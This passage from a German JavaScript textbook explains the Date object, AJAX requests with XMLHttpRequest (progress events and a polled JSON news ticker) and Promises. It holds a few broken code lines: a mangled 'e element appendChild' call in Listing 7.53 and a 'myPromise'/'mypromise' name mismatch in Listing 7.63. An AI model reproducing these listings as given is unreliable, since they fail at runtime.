        Datum und Uhrzeit sind in JavaScript eigene Objekte mit einem sehr großen Funktionsumfang. Sie werden nicht als Strings oder Zahlen, sondern eben als eigene Objekte behandelt. Dementsprechend werden sie – ähnlich wie Sie es im Fall von Arrays und Objekten kennengelernt haben – mittels new erzeugt. Welches Datum dabei in das Objekt gespeichert wird, wird mit dem Übergabewert festgelegt:

        let d = new Date();
let d = new Date(Millisekunden);
let d = new Date(Datumsstring);
let d = new Date(Jahr, Monat, Tag, Stunden, Minuten, Sekunden, Millisekunden);


        Verwendet man Variante 1, also let d = new Date();, so wird das aktuell im Browser verfügbare Datum als neues Datumsobjekt erzeugt (je nachdem, welches Datum das Betriebssystem dem Browser mitteilt). Die anderen drei Varianten erzeugen Daten auf Basis bekannter Datumswerte:

        
            	
                Variante 2 erzeugt ein Datum, das die angegebene Anzahl von Millisekunden nach dem 1.1.1970 liegt. Beispielsweise wird mit let d = new Date(86400000); der 2.1.1970 festgelegt, da ein Tag aus 86.400 Sekunden und somit aus 86.400.000 Millisekunden besteht.

            

            	
                Variante 3 erwartet einen Datumsstring der Art "October 17, 1972 22:30:00".

            

            	
                Variante 4 erwartet die Angabe der einzelnen Werte in der vorgegebenen Reihenfolge. Dabei können Werte auch von hinten nach vorne ausgelassen werden. Somit wird der erste mögliche Wert angenommen.

            

        

        Neben der Erzeugung von Datumswerten existiert eine Vielzahl von Funktionen (Methoden) für diese Datumsobjekte:

        
            	
                getDate(): Gibt den Tag des Monats zurück (1–31).

            

            	
                getDay(): Gibt den Wochentag zurück (0–6, wobei 0 der Sonntag ist).

            

            	
                getFullYear(): Gibt das Jahr zurück.

            

            	
                getMonth(): Gibt das Monat zurück (0–11). 0 steht für Januar, 11 für Dezember.

            

            	
                getTime(): Gibt den Timestamp zurück (d. h. die Anzahl der vergangenen Millisekunden seit dem 1.1.1970).

            

        

        
            [ ! ]  Der Timestamp in JavaScript

            Entgegen der üblichen Verwendung eines Timestamps als Angabe der Sekunden, die seit dem 1.1.1970 vergangen sind, werden in JavaScript nicht Sekunden, sondern Millisekunden gezählt. (Eine Millisekunde ist ein Tausendstel einer Sekunde.)

        

        Die Date-API ist wirklich eine der mühseligsten APIs, die JavaScript zu bieten hat. Das ist auch den Entwicklern von JavaScript bekannt, weshalb sie über kurz oder lang durch die Temporal API ersetzt werden wird (siehe etwa den Artikel von Sebastian Springer auf heise online: https://www.heise.de/blog/Die-Temporal-API-besseres-Datehandling-fuer-JavaScript-6069626.html).

    


                    
                        
        7.10    Synchron oder besser asynchron? AJAX, Promises und die fetch-API

        AJAX? Ist das nicht ein niederländischer Fussballverein oder ein Allzweckreiniger? Oder ist AJAX doch ein echter Segen für die Webentwicklung?

        AJAX steht für Asynchronous JavaScript and XML und wurde ursprünglich von Microsoft vorgeschlagen, um HTTP-Requests (sogenannte XML-HTTP-Requests) an einen Server zu senden, ohne dass der Browser hierdurch »beeinträchtigt« wäre, was im Falle »normaler« HTTP-Requests der Fall ist: Nachdem ein Browser einen Request an den Server gestellt und dieser mit einem Response geantwortet hat, wird (vereinfacht gesagt) der bestehende Inhalt des Browsers durch den neu angefragten Inhalt ersetzt. Die Idee hinter AJAX ist jedoch die, dass der Browserinhalt bestehen bleibt und (neue) Inhalte hinzugeladen werden.

        Ein gutes Beispiel hierfür ist eine Mail-Plattform wie etwa Gmail oder GMX: Ohne dass die Seite immer wieder neu geladen (aktualisiert) wird, soll der User über neu eingetroffene Mails benachrichtigt werden. Eine derartige »Anfrage im Hintergrund« ist ein asynchroner Prozess (er läuft parallel zu anderen Aktivitäten auf der Seite); ein synchroner Prozess wäre etwa, wenn ein Prozess auf die Beendigung eines anderen Prozesses warten muss, bevor er selbst gestartet wird.

        Ein weiteres bedeutendes Wort in AJAX ist XML: Diese Auszeichnungssprache wurde ursprünglich als Datenaustauschformat für die Darstellung der nachgeladenen Daten verwendet. Dies ist mittlerweile nicht mehr üblich – vielmehr wird mittlerweile JSON als Datenformat verwendet, da JSON (ein Akronym für JavaScript Object Notation) bereits in JavaScript geschrieben ist. Aber wie üblich alles der Reihe nach.

        
            [Info]  Synchron vs. asynchron

            Erinnern Sie sich an Abschnitt 7.3.6 »async und defer – zwei Lösungsansätze für blockierende Scripts«, in dem wir uns bereits mit dem synchronen und asynchronen Laden von JavaScript-Dateien auseinandergesetzt haben. Asynchron bedeutet, dass Prozesse parallel stattfinden, synchron hingegen besagt, dass ein Prozess (ein Codeschnipsel o. Ä.) erst abgeschlossen sein muss, bevor ein weiterer (folgender) Prozess verarbeitet werden kann.

        

        AJAX wird (wie bereits erwähnt) verwendet, um (asynchrone) Requests an einen Server zu senden, ohne dass der Browserinhalt vollständig neu geladen werden muss. Die Basis hierfür bietet das XMLHttpRequest-Objekt in JavaScript. Zwar steckt im Namen des Objekts wieder der Begriff »XML«, jedoch gilt auch hier: Die geladenen Daten können, müssen aber nicht in XML-Form aufbereitet sein.

        
            [»]  AJAX vs. fetch-API

            An dieser Stelle möchte ich vorausschicken, dass wir uns in Abschnitt 7.10.3 die fetch-API ansehen werden, die als legitimer Nachfolger von AJAX gilt und AJAX mittelfristig ersetzen wird. Dennoch ist das Verständnis von AJAX aus mehreren Gründen essenziell: Zunächst einmal zeigt es auf, wie asynchrone Requests stattfinden, aber andererseits wurde AJAX in den letzten Jahren sehr häufig verwendet, um im Hintergrund Informationen nachzuladen – und gerade das Verstehen bestehenden Codes ist eine wichtige Aufgabe für Entwickler.

        

        Betrachten wir ein erstes Beispiel, das zum Ziel hat, Daten aus einer Datei auf dem Server zu laden und in einem Container mit id="area" auszugeben. Die zu ladende Datei soll im ersten Moment eine einfache Textdatei namens daten.txt sein, die folgenden (rein textuellen) Inhalt hat: »Heute ist ein schöner Tag«. Um ein XMLHttpRequest-Objekt zu erzeugen, wird zunächst new XMLHttpRequest() benötigt. Ein solches Objekt besitzt einige Ereignisse, die wir (wie üblich mit Event Listenern) abfragen können:

        
            	
                loadstart wird abgefeuert, wenn der Ladevorgang beginnt. Gerne verwendet man dieses Ereignis, um dem User eine entsprechende visuelle Information wie eine Sanduhr, einen Ladebalken, ein Aufblitzen eines Elements oder Ähnliches einzublenden.

            

            	
                loadend signalisiert, dass der Ladevorgang abgeschlossen ist. Was man an dieser Stelle jedoch noch nicht weiß, ist, ob der Ladevorgang auch erfolgreich abgeschlossen wurde.

            

            	
                load signalisiert einen erfolgreichen Ladeprozess.

            

            	
                error signalisiert einen fehlerhaften Ladeprozess. Ein Fehler kann viele Ursachen haben: Die angegebene Datei konnte nicht gefunden werden, der Server reagiert nicht, die Netzwerkverbindung wurde unterbrochen usw. Welcher Fehler tatsächlich aufgetreten ist, wird dem Client (Browser) über die Statuscodes des Protokolls mitgeteilt (vgl. Abschnitt 3.2.1, »HTTP/1.1, HTTP/2 oder HTTP/3 und die Statuscodes«).

            

        

        Neben diesen Ereignissen, die zunächst einmal die wichtigsten Ereignisse für die Programmierung sind, existieren ein paar weitere Ereignisse, die zwar praktisch, aber nicht unbedingt lebensnotwendig sind:

        
            	
                progress ist ein Ereignis, das in regelmäßigen Abständen auftritt, wodurch der Ladefortschritt abgefragt werden kann.

            

            	
                readystatechange ist ein Ereignis, das immer dann auftritt, wenn sich ein Zustand des Objekts ändert. Die möglichen Zustände sind:

                
                    	
                        0 – UNSENT: Die Anfrage wurde zwar initiiert, aber die Verbindung zum Sever mittels open() wurde noch nicht hergestellt.

                    

                    	
                        1 – OPENED: Die Methode open() wurde aufgerufen.

                    

                    	
                        2 – HEADERS_RECEIVED: Die Anfrage wurde mittels send() bereits gesendet, der Server hat auch bereits geantwortet und einen Status geliefert.

                    

                    	
                        3 – LOADING: Der Client erhält bereits Daten vom Server, die in der Eigenschaft responseText verfügbar sind.

                    

                    	
                        4 – DONE: Der Ladevorgang ist abgeschlossen.

                    

                

            

            	
                timeout tritt auf, wenn der Server in der vorgegebenen Zeit nicht antworten konnte.

            

            	
                abort tritt auf, wenn der Request abgebrochen wurde.

            

        

        In unserem Beispiel konzentrieren wir uns zunächst nur auf die Ereignisse load und error:

        const ajax = new XMLHttpRequest();
ajax.addEventListener("load", loaded);
ajax.addEventListener("error", error);
function loaded() {
  console.log("Die Daten wurden geladen");
}
function error() {
  console.log("Beim Laden der Daten ist ein Fehler aufgetreten");
}


        Listing 7.52    
            AJAX nutzt das »XMLHttpRequest«-Objekt, um Anfragen an einen Server im Hintergrund durchzuführen.

        
            [»]  »XMLHttpRequest« als Konstante?

            Objekte wie XMLHttpRequest werden gerne als Konstanten erzeugt, da Konstanten einerseits einen lokalen Block Scope erzeugen; aber andererseits können Objekteigenschaften dennoch hinzugefügt, geändert oder entfernt werden.

        

        Um nun einen Request an den Server zu stellen, muss natürlich der Pfad zu der Datei bekannt sein, die auf der Serverseite angefragt wird. Dieser Pfad bzw. diese URL wird mitsamt der gewünschten Übertragungsmethode (GET/POST – vgl. Abschnitt 5.9.1, »Arten der Datenübertragung«) an die Methode open() als Übergabeparameter übergeben:

        ajax.open("GET", "daten.txt");


        Um die Anfrage nun tatsächlich abzuschicken (mit open() wird die Anfrage zunächst einmal nur »vorbereitet«), verwendet man die send()-Methode:

        ajax.send();


        Das Ergebnis sehen Sie in Abbildung 7.77. Sollten Sie sich die Frage stellen, wie man nun an die geladenen Daten kommt, so müssen Sie Ihr Wissen noch etwas erweitern.

        
            [image: Der Ladevorgang hat offensichtlich geklappt, aber wir sehen (noch) nichts von den geladenen Daten.]

            Abbildung 7.77    
            Der Ladevorgang hat offensichtlich geklappt, aber wir sehen (noch) nichts von den geladenen Daten.

        
        Wo also sind unsere Daten? Die Antwort steckt in der response-Eigenschaft des XMLHttpRequest-Objekts. Je nach Antworttyp (XML, JSON, String etc.) sieht die Antwort etwas unterschiedlich aus. Um welchen Antworttyp es sich handelt, lässt sich über die Eigenschaft responseType ermitteln. Die Rohdaten der Antwort erhält man – unabhängig vom responseType – über die Eigenschaft responseText. Sie sind jedoch nur bedingt praxistauglich, wenn es sich nicht gerade um Textdaten handelt.

        Erweitern wir unseren Code etwas, so gelangen wir sofort zu den geladenen Daten (siehe auch Abbildung 7.78):

        function loaded() {
  console.log("Folgende Daten wurden geladen:");
  console.log(this.response);
}


        
            [image: Nun sind uns auch die geladenen Daten nicht verwehrt: Die »response«-Eigenschaft des »XMLHttpRequest«-Objekts stellt sie uns zur Verfügung.]

            Abbildung 7.78    
            Nun sind uns auch die geladenen Daten nicht verwehrt: Die »response«-Eigenschaft des »XMLHttpRequest«-Objekts stellt sie uns zur Verfügung.

        
        Die geladenen Daten werden nun einmal in der Entwicklerkonsole ausgegeben.

        
            [»]  »this« im »XMLHttpRequest«-Objekt

            Im obigen Beispiel wird mittels this auf das XMLHttpRequest-Objekt zugegriffen. Das ist in diesem Fall erlaubt, da die loaded-Funktion über den Event Listener dem XMLHttpRequest-Objekt zugewiesen wurde und somit »Teil des Objekts« geworden ist. Ganz allgemein wäre es auch möglich gewesen, über die in unserem Code verwendete (globale) Konstante ajax zuzugreifen; this ist jedoch in diesem Fall »sauberer«.

        

        Um die geladenen Daten nun in den dafür vorgesehenen Container zu stellen, greifen wir auf die bewährten Verfahren zu:

        
            	
                Entweder platzieren Sie die Daten mittels innerHTML in den Container, indem Sie folgende Zeile in die Funktion loaded schreiben:

                document.querySelector("#area").innerHTML = this.response;


            

            	
                Oder Sie wenden die DOM-Methoden zum Erzeugen eines neuen Elementknotens an und erweitern wiederum die loaded-Funktion.

            

        

        Ich entscheide mich für die zweite Variante:

        function loaded() {
  const area = document.querySelector("#area");
  let t = document.createTextNode(this.response);
  area.appendChild(t);
}


        
            [image: Nun wird der geladene Text auch im dafür vorgesehenen Container dargestellt. Yes!]

            Abbildung 7.79    
            Nun wird der geladene Text auch im dafür vorgesehenen Container dargestellt. Yes!

        
        Natürlich könnten Sie obigen Code auch vereinfachen, indem Sie gänzlich auf die Variablen/Konstanten verzichten:

        function loaded() {
  document.querySelector("#area")
    .appendChild(document.createTextNode(this.response));
}


        Die Frage ist nur immer, wie übersichtlich der Code sein soll. Obiger Code trägt wohl nur wenig zur Leserlichkeit bei.

        Im nächsten Schritt wollen wir den Request noch ein wenig aufbohren und die uns gebotenen Möglichkeiten nutzen, indem wir:

        
            	
                eine Information an den User ausgeben, sobald der Ladeprozess gestartet ist,

            

            	
                den Ladefortschritt ausgeben,

            

            	
                eine Information an den User ausgeben, wenn der Ladeprozess abgeschlossen wurde.

            

        

        Ersteres erreichen wir, indem wir das Ereignis loadstart abfragen. Ein Fortschrittsbalken wird in HTML mit <progress> erzeugt; die zugehörigen Attribute für den aktuellen (value) und den maximalen Wert (max) geben wir gleich noch dazu, wobei wir zu Beginn value auf 0 und max auf 100 setzen und im Hinterkopf behalten, dass wir den Ladefortschritt prozentuell anzeigen wollen.

        ajax.addEventListener("loadstart", started);
function started() {
  const area = document.querySelector("#area");
  let element = document.createElement("p");
  let textinhalt = document.createTextNode(
"Wir laden Ihre Daten - einen Moment bitte...");
  element.setAttribute("class","loading");
  e element appendChild(textinhalt);
  area.appendChild(element);
 
  let progress = document.createElement("progress");
  progress.setAttribute("id","bar");
  progress.setAttribute("max",100);
  progress.setAttribute("value",0);
  area.appendChild(progress);
}


        Listing 7.53    
            Ein Event Listener wartet auf das Ereignis »loadstart« und weist die Funktion »started()« als Event Handler zu.

        Um einen korrekten Wert (in Prozent) für den Ladefortschritt berechnen zu können, muss man die gesamte Größe der zu ladenden Daten kennen, was in vielen Fällen jedoch nicht ermittelt werden kann. Aus diesem Grund behelfen wir uns wie folgt: Sollte man die Größe der zu ladenden Daten kennen (dies wird über das Event-Objekt und dessen Eigenschaft lengthComputable==true erreicht), so berechnen wir diese aus den aktuell geladenen Daten, dividiert durch die Gesamtmenge, und multiplizieren das Zwischenergebnis mit 100. So erhalten wir einen Prozentwert, den wir anzeigen können. Sollte dies nicht der Fall sein, so zählen wir die geladenen Bytes im Fortschrittsbalken (Progress Bar) hoch und halbieren den Wert immer dann, wenn wir über 100 kommen. Damit erzeugen wir zwar eine »hüpfende« Anzeige im Progress Bar, aber zumindest bewegt sich etwas:

        function progress(ev) {
  const bar = document.querySelector("#bar");
  if(ev.lengthComputable) {
    bar.value = ev.loaded/ev.total*100;
  }
  else {
    bar.value = ev.loaded>=100 ? ev.loaded/2 : ev.loaded;
  }
}


        Listing 7.54    
            Die »progress()«-Funktion wird zum Darstellen eines Ladefortschritts genutzt.

        Wenn wir nun noch die Funktion loaded so adaptieren, dass auch eine Meldung ausgegeben wird, sobald das Laden abgeschlossen ist (und zur Sicherheit den Wert des Progress Bars auf 100 setzen), dann haben wir’s geschafft:

        function loaded() {
  const bar = document.querySelector("#bar");
  bar.value = 100;
 
  const area = document.querySelector("#area");
  let t = document.createTextNode(this.response);
  area.appendChild(t);
 
  let element = document.createElement("p");
  textinhalt = document.createTextNode("Das Laden ist abgeschlossen...");
  element.setAttribute("class","loading done");
  element.appendChild(textinhalt);
  area.appendChild(element);
}


        Listing 7.55    
            Unsere erweiterte »loaded()«-Funktion gibt nun auch eine Meldung aus.

        Das Ergebnis sieht so aus, wie in Abbildung 7.80 und Abbildung 7.81 gezeigt.

        
            [image: Der Ladevorgang ist gut geeignet, um Usern ein entsprechendes Feedback zu geben.]

            Abbildung 7.80    
            Der Ladevorgang ist gut geeignet, um Usern ein entsprechendes Feedback zu geben.

        
        
            [image: Ist das Laden beendet, wird der Inhalt dargestellt. Die Statusinformationen sollten nun auch noch entfernt werden.]

            Abbildung 7.81    
            Ist das Laden beendet, wird der Inhalt dargestellt. Die Statusinformationen sollten nun auch noch entfernt werden.

        
        Würden wir im zweiten Screenshot nun auch noch die Lade-Information »Wir laden Ihre Daten – einen Moment bitte ...« und den Progress Bar entfernen, wäre das Beispiel etwas praxistauglicher. Hierfür müssen wir aber lediglich (eindeutig) auf die beiden Elemente zugreifen und diese mit der remove-Methode eines Knotens im Dokumentbaum entfernen. Somit ändern wir die Funktion loaded wie folgt ab:

        function loaded() {
  const area = document.querySelector("#area");
  let t = document.createTextNode(this.response);
  area.appendChild(t);
 
  document.querySelector("#area p.loading").remove();
  document.querySelector("#area progress").remove();
 
  let element = document.createElement("p");
  textinhalt = document.createTextNode("Das Laden ist abgeschlossen...");
  element.setAttribute("class","loading done");
  element.appendChild(textinhalt);
  area.appendChild(element);
}


        Listing 7.56    
            Die bereinigte »loaded()«-Funktion

        Selbiges könnte man mit dem Text »Das Laden ist abgeschlossen« erreichen, jedoch soll der Text erst zwei Sekunden nach dem erfolgten Laden entfernt werden. Hierfür greifen wir auf ein Timeout zu, das nach zwei Sekunden (= 2000 Millisekunden) das Element entfernt. Wir ändern also die loaded-Funktion ein weiteres Mal ab:

        function loaded() {
  const area = document.querySelector("#area");
  let textinhalt = document.createTextNode(this.response);
  area.appendChild(textinhalt);
 
  document.querySelector("#area p.loading").remove();
  document.querySelector("#area progress").remove();
 
  let element = document.createElement("p");
  textinhalt = document.createTextNode("Das Laden ist abgeschlossen...");
  element.setAttribute("class","loading done");
  element.appendChild(textinhalt);
  area.appendChild(element);
 
  setTimeout(() => { document.querySelector("#area p.loading.done").remove();↩ },2000);
}


        Listing 7.57    
            Nun sind wir am Ende mit unseren Änderungen: Die »loaded()«-Funktion beinhaltet nun sämtliche Code-Fragmente, die wir für ein gelungenes Beispiel benötigen.

        Sollten Sie auf ein langsames Ausblenden (Faden) des Textes gehofft haben, so muss ich Ihnen an dieser Stelle mitteilen, dass derartige Effekte in JavaScript zwar möglich sind (mit setInterval in Verbindung mit der opacity-Eigenschaft aus CSS), aber eine einfach zu nutzende Funktion hierfür existiert nicht. Aus diesem Grund gibt es die CSS-Transitions (vgl. Abschnitt 6.8.1, »Das Box-Modell für Block-Elemente«) oder Frameworks wie etwa jQuery, die für beinahe alle Anwendungsfälle in Hinblick auf eine bessere User Experience entsprechende Funktionalitäten bereitstellen.

        
            7.10.1    Datenübergabe an den Server

            Wie wir zuvor also gesehen haben, ist das (Nach-)Laden von Informationen in eine bestehende Website ein sehr übliches Anwendungsszenario. Dies bedingt jedoch manchmal, dass dem Server Informationen übergeben werden, mit denen er seine Antwort genauer/besser formulieren kann. Denken Sie beispielsweise an einen Newsticker zu einer Sportveranstaltung, wie etwa im Skisport die Abfahrt in Schladming: In regelmäßigen Abständen werden in einer zentralen Datenbank, auf die der Webserver Zugriff hat, neue Meldungen zum aktuellen Stand der Abfahrt gespeichert. Eine zugehörige Webseite soll den User nun in regelmäßigen Abständen mit den besagten Informationen versorgen. Dazu erzeugt man eine AJAX-Anfrage an einen Server, die mithilfe eines Intervalls alle paar Sekunden die noch nicht geladenen Informationen abfragen soll. Skizzenhaft würde diese Idee etwa wie folgt aussehen:

            const ajax = new XMLHttpRequest();
ajax.addEventListener("load",loaded);
 
function loaded() {
  ...
}
 
let itv; //globale Variable für das Intervall
document.addEventListener("DOMContentLoaded",(ev) => {
  itv = setInterval(() => { ladeStandDerAbfahrt(); },5000);
});
 
function ladeStandDerAbfahrt() {
  ajax.open("GET","...");
  ajax.send();
}


            Die globale Variable erhält ein Intervall zugewiesen, sobald der Dokumentbaum bereit ist. Dann wird alle 5 Sekunden der Stand der Abfahrt auf dem Server abgefragt. Das klingt zunächst vielleicht plausibel, aber wie soll der Server wissen, welche Informationen der Client bereits abgefragt hat? Es würde wenig Sinn ergeben, immer wieder sämtliche Meldungen des News-Tickers abzufragen – speziell dann, wenn die Anzahl der Meldungen rasch sehr viele werden. Um dieses Problem zu lösen, wäre ein möglicher Ansatz, dem Server eine Information zu geben, welche die zuletzt erhaltene Meldung war. Hierzu sollte man zunächst festlegen, welche Informationen man vom Server erhalten möchte, um hieraus Rückschlüsse auf die letzte gesendete Meldung zu erhalten. Eine Möglichkeit wäre, dass der Server ein JSON-Objekt in beispielsweise dieser Form übermittelt:

            {
  Anfragezeitpunkt: 1675773322,
  beendet: false,
  Meldungen: [
    [1675773218,"Vincent Kriechmayr übernimmt die Führung"],
    [1675773188,"Zweite Zwischenzeit: Feuz und Kriechmayr trennen gerade einmal 3 Hundertstel Sekunden voneinander"]
  ]
}


            Listing 7.58    
            Ein JSON-Objekt als Austauschformat zwischen Server und Client

            In diesem Fall werden sowohl der letzte Abfragezeitpunkt als auch der Zeitpunkt der Meldungen als Unix-Timestamps dargestellt. Außerdem stellt der Eintrag beendet eine Information dazu bereit, ob die Abfahrt beendet oder noch im Gange ist. Für den Fall, dass sie bereits ihr Ende gefunden hat, kann das Intervall zum Abfragen der Statusmeldungen beendet werden (clearInterval(itv);). Sämtliche noch nicht gelesenen Meldungen werden im Array Meldungen abgebildet. Greift man in weiterer Folge auf den Zeitpunkt der neuesten Meldung zurück und schickt diesen beim nächsten Zugriff auf den Server als Information mit, kann der Server entsprechend reagieren und nur noch diejenigen Meldungen zurückliefern, die nach diesem Zeitpunkt geschrieben wurden.

            Weil der Server nun ein JSON-Objekt zurückliefert (zumindest haben wir uns in diesem Beispiel dafür entschieden), muss diese Antwort vom Server auf der Clientseite durch JavaScript in ein für JavaScript verarbeitbares Format gebracht werden. Das mag etwas eigenwillig anmuten, denn schlussendlich sollte der Server doch eine Antwort im Format JSON schicken – und das wäre doch ein JavaScript-Objekt, oder? Dennoch ist die Antwort des Servers schlussendlich nur Text und kein Objekt. Die Methode parse im JSON-Objekt verhilft uns zum Glück: JSON.parse(this.response) in der loaded-Funktion greift auf die geladenen Daten zu und wandelt diese entsprechend um:

            <div id="area"></div>
...
<script>


            const ajax = new XMLHttpRequest();
ajax.addEventListener("load",loaded);
 
function loaded() {
  let data = JSON.parse(this.response);
  for(let i=0; i<data.Meldungen.length; i++) {
    let m = data.Meldungen[i];
    let date = new Date(m[0]*1000);
    document.querySelector("#area").innerHTML = \'<p><span class="datum">\' + date.toLocaleDateString() + \', \' + date.toLocaleTimeString() + \' Uhr:
</span>\' + m[1] + \'</p>\'+document.querySelector("#area").innerHTML;
  }
  ts = data.Anfragezeitpunkt;
  if(data.beendet) {
    clearInterval(itv);
  }
}
 
document.addEventListener("DOMContentLoaded",(ev) => {
  itv = setInterval(() => { ladeStandDerAbfahrt(); },5000);
});
 
let ts = 0;
function ladeStandDerAbfahrt() {
  ajax.open("GET","newsticker.php?ts="+ts);
  ajax.send();
} 


            </script>


            Listing 7.59    
            Mittels AJAX wird eine Antwort vom Server im JSON-Format angefordert.

            In diesem Beispiel habe ich mich dafür entschieden, die Meldungen chronologisch absteigend darzustellen, wobei diese mittels innerHTML in das Element #area geschrieben werden. Wie Sie bereits in den vorangegangenen Beispielen gesehen haben, hätten wir ebenso mit den DOM-2-Methoden neue Kindknoten in der #area erzeugen können. Schlussendlich ist die Wahl der Methode lediglich eine Frage der eigenen Vorliebe einerseits und der Performance im Browser andererseits. Zweitere spielt im genannten Beispiel keine Rolle, weshalb innerHTML die einfachere Variante ist.

            
                [image: Der Stand der Abfahrt in Schladming als Newsticker]

                Abbildung 7.82    
            Der Stand der Abfahrt in Schladming als Newsticker

            
            Voilà.

            
                [»]  Intervall-Anfragen mittels AJAX oder doch ein Socket Server?

                In diesem konkreten Beispiel ist das »regelmäßige Abfragen« von Informationen vom Server mithilfe von AJAX in Kombination mit einem Intervall eine akzeptable Lösung – aber nur deshalb, weil die Anfragen an den Server »nur« alle fünf Sekunden erfolgen. Theoretisch könnte man dieses Beispiel etwas weiter denken und eine Art Chat daraus machen, in dem jede halbe Sekunde eine Anfrage an den Server geschickt wird. Dies wird irgendwann für den Server ein Performance-Problem ergeben, wenn die Firewall nicht schon zuvor eine »Attacke« vermutet hat. Für derartige Anwendungen greift man auf einen Socket-Server zurück, auf dem ein einziger Request gestartet wird und dieser für eine lange Zeit »offen« bleibt. Ein Webserver kann derartige Kunststücke nicht vollbringen.

            

            Sollten Sie das Beispiel selbst versuchen wollen, so finden Sie den Code im Downloadbereich des Buches.

        
        
            7.10.2    Promises als das bessere Ereignismodell?

            Promises sind Modelle, die auf asynchrone Weise Code ausführen. Mit anderen Worten, ein Promise verhindert das weitere Ausführen von darauf folgendem Code nicht. Gut, aber hatten wir das nicht bereits mit AJAX erreicht? Ja, das wäre – zunächst einmal – korrekt, aber sehen wir und einmal ein AJAX-Problem an, das man Callback Hell nennt: Angenommen, wir wollen eine Datei asynchron laden, und sobald diese Datei geladen wurde, möchten wir die nächste Datei auch wieder asynchron laden usw. Bei drei zu ladenden Dateien kann demnach die zweite Datei erst dann geladen werden, wenn die erste Datei (erfolgreich?) geladen wurde, die dritte erst dann, wenn die zweite Datei (erfolgreich?) geladen wurde, usw. Mit anderen Worten, man startet den Ladevorgang der folgenden Datei immer dann, wenn der aktuelle Ladeprozess ein »Erfolgs-Ereignis« liefert.

            Gesetzt den Fall, dass die URL der als Nächstes zu ladenden Datei in der zuvor geladenen Datei steht, dann würde sich der Ladevorgang in etwa wie folgt gestalten:

            const ajax0 = new XMLHttpRequest();
ajax0.addEventListener("load", (ev0) => {
  const ajax1 = new XMLHttpRequest();
  ajax1.addEventListener("load", (ev1) => {
    const ajax2 = new XMLHttpRequest();
    ajax2.addEventListener("load", (ev2) => {
      console.log("Fertig");
    });
    ajax2.addEventListener("error",(ev2) => {
      console.log("Fehler beim Laden von:",ev2.target.responseURL);
    });
    ajax2.open("GET",ev1.target.response);
    ajax2.send();
  });
  ajax1.addEventListener("error",(ev1) => {
    console.log("Fehler beim Laden von:",ev1.target.responseURL)
  });
  ajax1.open("GET",ev0.target.response);
  ajax1.send();
});
ajax0.addEventListener("error",(ev0) => {
  console.log("Fehler beim Laden von:",ev0.target.responseURL)
});
ajax0.open("GET","datei0.txt");
ajax0.send();


            Listing 7.60    
            Callback Hell mit AJAX

            Die Frage, die wir uns stellen müssen, lautet: Was geschieht, wenn der Ladevorgang einer der Dateien nicht erfolgreich war? Wenn es sich nicht gerade um die letzte der drei Dateien gehandelt hat, so werden die folgenden Dateien auch nicht geladen.

            Der große Nachteil bei verschachtelten AJAX-Anfragen liegt somit in der Unübersichtlichkeit des Codes auf der einen und den verschachtelten Callback-Funktionen auf der anderen Seite. Promises verhelfen hierbei zu etwas mehr Übersichtlichkeit und zu einer klaren Aussage, was bei welchem Ereignis (»hat geklappt« oder »hat nicht geklappt«) ausgeführt werden soll.

            Anders als bei AJAX, wo die Callback-Funktionen Teil des AJAX-Objekts sind, liefert ein Promise ein Objekt zurück, auf das die Callbacks angewandt werden. Somit sind diese voneinander getrennt und lassen sich einfacher verarbeiten. Ein Promise ist demnach eine Art »Versprechen«, dass ein Code erfolgreich oder auch nicht erfolgreich ausgeführt wird. In jedem Fall kann die Verarbeitung eines Erfolgs oder eines Misserfolgs besser verarbeitet werden.

            
                [Info]  Callback-Funktionen

                Mit Callback-Funktionen meint man Funktionen, die anderen Funktionen als Parameter übergeben und unter gewissen Voraussetzungen aufgerufen werden.

            

            Werfen wir einmal einen Blick auf den grundlegenden Aufbau eines Promise. Das grundlegende Prinzip eines Promise ist, dass es asynchronen Code ausführt. Dies bedeutet, dass das Ergebnis des Codes nicht sofort, sondern erst in der Zukunft zur Verfügung steht (wann das ist, kann man nicht vorhersagen). Ob das Verarbeiten dieses Codes dann erfolgreich sein wird oder fehlschlägt, kann man naturgemäß genauso wenig vorausssagen. Zusammengefasst gilt also:

            
                	
                    Das Ergebnis des auszuführenden Codes liegt in der Zukunft vor.

                

                	
                    Das Ausführen kann geklappt haben: Man spricht dann von einem resolve.

                

                	
                    Das Ausführen kann nicht geklappt haben: Man spricht dann von einem reject.

                

            

            Das führt zu folgendem Konstrukt (Definition des Promise):

            const myPromise = new Promise((resolve, reject) => {
  ...
  resolve(...); //alles ist gut, das Ausführen hat geklappt
  ...
  reject(...); //der Code wurde nicht wie gewünscht ausgeführt
});


            Das Promise wird nun wie folgt verwendet (Nutzung des Promise):

            myPromise.then(
  (result) => {
    //Code, der ausgeführt werden soll, wenn 
    //der Code wie gewünscht verarbeitet wurde
  },
  (error) => {
    //Code, der ausgeführt werden soll, wenn 
    //der Code nicht wie gewünscht verarbeitet wurde
  }
); 


            Listing 7.61    
            Eine der beiden möglichen Schreibweisen eines Promise

            Das then() bei der Nutzung des Promise gibt an, dass der folgende Code dann ausgeführt wird, wenn das (asynchrone) Promise sein Ergebnis bereitstellen kann. War es erfolgreich, wird die erste der beiden Funktionen ausgeführt und an sie das Ergebnis (result) des Promise übergeben; war es jedoch nicht erfolgreich, so wird die zweite Funktion aufgerufen und ihr die entsprechende Fehlerinformation (die man selbst formulieren kann) in error übergeben.

            Eine alternative Variante der Nutzung des Promise ist, dass man den error-Teil in den catch()-Bereich verpflanzt, wodurch noch deutlicher wird, welcher Teil im Erfolgs- und welcher im Fehlerfall genutzt wird:

            myPromise
  .then((result) => {
    //Code, der ausgeführt werden soll, wenn 
    //der Code wie gewünscht verarbeitet wurde
  })
  .catch((error) => {
    //Code, der ausgeführt werden soll, wenn 
    //der Code nicht wie gewünscht verarbeitet wurde
  })
; 


            Listing 7.62    
            Die zweite, gängigere Variante der Promise-Schreibweisen

            An Promises können auch Werte übergeben werden:

            const myPromise = (vn,nn) => new Promise((resolve, reject) => {
  //vn, nn sind innerhalb des Promise verfügbar (wie Übergabevariablen)
  ...
  resolve(...);
  ...
  reject(...);
});
mypromise("Uwe","Mutz")
  .then((result) => { … })
  .catch((error) => { … })
; 


            Listing 7.63    
            Promises mit Wertübergaben

            
                [»]  finally in Promises

                Bei Promises lässt sich auch ein finally-Teil in einem Promise verwenden, sollte dies notwendig sein. Dieser finally-Teil wird nach dem then()-Fall, also auch nach dem catch()-Fall ausgeführt:

                mypromise
  .then((result) => { … })
  .catch((error) => { … })
  .finally(() => { … })
; 


                An dieser Stelle möchte ich auch auf das try-catch-Prinzip verweisen, mit dem wir uns in Abschnitt 7.13.4 befassen.

            

